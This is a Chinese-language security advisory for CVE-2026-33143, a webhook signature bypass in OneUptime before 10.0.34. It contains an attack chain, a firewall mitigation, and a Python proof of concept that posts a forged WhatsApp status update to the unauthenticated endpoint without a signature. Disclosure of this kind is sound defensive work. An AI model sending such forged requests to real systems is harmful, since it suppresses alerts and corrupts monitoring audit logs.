IPBUF安全漏洞报告
English
CVE-2026-33143 CVSS 7.5 高危

CVE-2026-33143: OneUptime Webhook签名绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33143
漏洞类型
签名绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

签名绕过WebhookOneUptime完整性缺失CVE-2026-33143

漏洞概述

OneUptime在10.0.34版本之前的WhatsApp Webhook接口存在严重缺陷,未对请求头中的X-Hub-Signature-256签名进行验证。未经身份验证的攻击者可利用此漏洞伪造Webhook请求,从而篡改通知交付状态记录、抑制关键警报发送并破坏系统审计日志的完整性,严重影响监控准确性。

技术细节

该漏洞源于OneUptime在处理WhatsApp Webhook通知(路径为/notification/whatsapp/webhook)时,缺乏对请求头中X-Hub-Signature-256 HMAC签名的验证机制。尽管代码库中针对Slack Webhook已实现了正确的签名校验逻辑,但WhatsApp接口直接信任了传入的POST请求体。攻击者无需任何身份认证即可构造恶意JSON payload发送至该端点。由于系统未验证数据来源的完整性和合法性,攻击者可以伪造任意状态更新事件。这导致系统会错误地更新数据库中的通知交付状态记录,可能触发错误的业务逻辑,例如抑制本应发送的警报,或者通过插入虚假数据污染系统的审计日志,严重影响监控系统的可靠性。

攻击链分析

STEP 1
信息收集
攻击者识别出目标使用的是OneUptime监控服务,且版本低于10.0.34,确定WhatsApp Webhook接口端点。
STEP 2
漏洞利用
攻击者构造恶意的JSON数据包,模拟Meta/WhatsApp的状态回调,直接发送至/notification/whatsapp/webhook接口,且不携带或伪造X-Hub-Signature-256签名。
STEP 3
影响达成
服务端接收并处理了伪造的请求,更新了数据库中的通知状态,导致真实警报被抑制,且审计日志被虚假数据污染。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "https://<oneuptime-domain>/notification/whatsapp/webhook" # Malicious payload to simulate a forged status update # This payload tricks the system into thinking a message was read or failed payload = { "object": "whatsapp_business_account", "entry": [ { "id": "123456789", "changes": [ { "value": { "messaging_product": "whatsapp", "metadata": { "display_phone_number": "15550000000" }, "statuses": [ { "id": "wamid.HBgLNTE1NTUwMDAwMDAgFQIAERgSNDQ4RTA2M0U1RDUyQTc1AA==", "recipient_id": "555555555555", "status": "read", "timestamp": "1710000000" } ] }, "field": "messages" } ] } ] } # Exploit: Send the POST request without the required X-Hub-Signature-256 header # The vulnerability is that the server accepts this unverified payload response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Audit trail may be corrupted.") else: print(f"[-] Request failed with status code: {response.status_code}")

影响范围

OneUptime < 10.0.34

防御指南

临时缓解措施
如果无法立即升级,建议在网络防火墙层面对/notification/whatsapp/webhook接口实施严格的IP白名单策略,仅允许Meta(Facebook)官方Webhook服务器的IP地址进行访问,以阻断未授权的伪造请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表